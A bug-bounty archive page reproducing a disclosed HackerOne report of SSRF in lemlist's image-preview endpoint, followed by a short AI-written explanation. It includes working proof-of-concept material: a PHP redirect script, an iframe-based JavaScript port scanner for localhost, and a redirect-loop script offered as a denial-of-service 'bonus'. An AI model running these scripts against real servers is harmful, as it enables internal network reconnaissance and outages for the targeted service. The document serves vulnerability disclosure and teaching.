Skip to content
SSRF Disclosed report Intermediate

SSRF in img.lemlist.com that leads to Localhost Port Scanning

The image preview endpoint on img.lemlist.com fetched a user-supplied URL through a headless browser, allowing an attacker to make the server request internal addresses. This let the attacker port scan localhost and remote hosts and potentially read data from local HTTP services.

arsene_lupin Follow

Originally disclosed on HackerOne

  • Triaged in 2 days
  • Fixed in 2 days
  • Disclosed after 4 months

Summary:

A SSRF attack can be performed leading to localhost port scanning. Link : https://img.lemlist.com/api/image-templates/itp_vBBNpQuMsy6FYLQAc/?preview=true&email=email@

Steps To Reproduce:

To perform this port scan you'll need to setup a few files.

First of all you need to change the url in (Attachment on the original report: PoC.html).

changeline.png
changeline.png From the original on HackerOne

That being done you will need to do the same thing in your redirection script

PHP
<?php
	// PHP permanent URL redirection
	header("Location: [YOUR WEBSITE]/PoC.html?i=0", true, 301);
	exit();
?>

Now you need to setup a website who will host (Attachment on the original report: PoC.html), (Attachment on the original report: stealer.php) and the redirection.

I suggest to put everything in a single file and run the command : php -S 0.0.0.0:80

Afterward you need to go to the following link: https://img.lemlist.com/api/image-templates/itp_vBBNpQuMsy6FYLQAc/?preview=true&email=email@ [YOUR WEBSITE]

PoC

Here is a PoC of the Port Scan beeing performed

PoC.mp4 From the original on HackerOne

Advice

Sometimes this port scan only return one port or none due to headless chrome screenshoting the website before the redirection. I would suggest to try different timeout in the scanChromeLinux() function.

JavaScript
async scanChromeLinux(iframe, a) {
    var that = this;
    let promise = new Promise(function(resolve, reject){
        that.hooks = {oncomplete:function(){
          document.body.removeChild(iframe);
          resolve();
        }};
        that.scan = function() {
            var port = that.q.shift(), calls = 0, timer;
            iframe.src = that.url + ":" + port;
            a.href = iframe.src + '#';
            that.updateProgress(port);
            iframe.hasLoadedOnce = 0;
            iframe.onload = function(){
                calls++;
                if(calls > 1) {
                  clearTimeout(timer);
                  that.next();
                  return;
                }
                iframe.hasLoadedOnce = 1;
                a.click();
            };
            timer = setTimeout(function(){
              if(iframe.hasLoadedOnce) {
                that.openPorts.push(port);
              }
              that.next();
            }, 500 ); // <-- CHANGE THAT VALUE
        };
        that.scan();
    });
    return promise;
  }

##Bonus

You can perform a DOS on the website by making the redirection returning itself:

PHP
<?php
	// PHP permanent URL redirection
	header("Location:https://img.lemlist.com/api/image-templates/itp_vBBNpQuMsy6FYLQAc/?preview=true&email=email@[YOUR WEBSITE]", true, 301);
	exit();
?>

Impact

We can Port Scan local and remote servers, directory and bruteforce HTTP services. Besides if the screenshot as enough quality, it would be possible to return sensitives data from local HTTP services running on the machine.

The original report as published on HackerOne, by arsene_lupin. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could port scan local and remote servers and brute force HTTP services, and if the screenshot quality is high enough, could return sensitive data from local HTTP services.

What the attacker needed

Attacker-controlled website; ability to host a redirect script

How it was found

  1. Host a page and a redirect script on your own website.
  2. Point the preview endpoint's email parameter at your website.
  3. Start a local PHP server to serve the files.
  4. Request the preview URL with your website appended.
  5. Observe the port scan results produced by the preview.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The site had a feature that took a link and rendered a picture of it. The server, not the visitor's browser, did the fetching, so an attacker could point it at internal addresses the public cannot reach. That is called server-side request forgery: tricking a server into making requests on your behalf.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More by arsene_lupin

View all

1 more disclosed report, best first.

More from lemlist

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.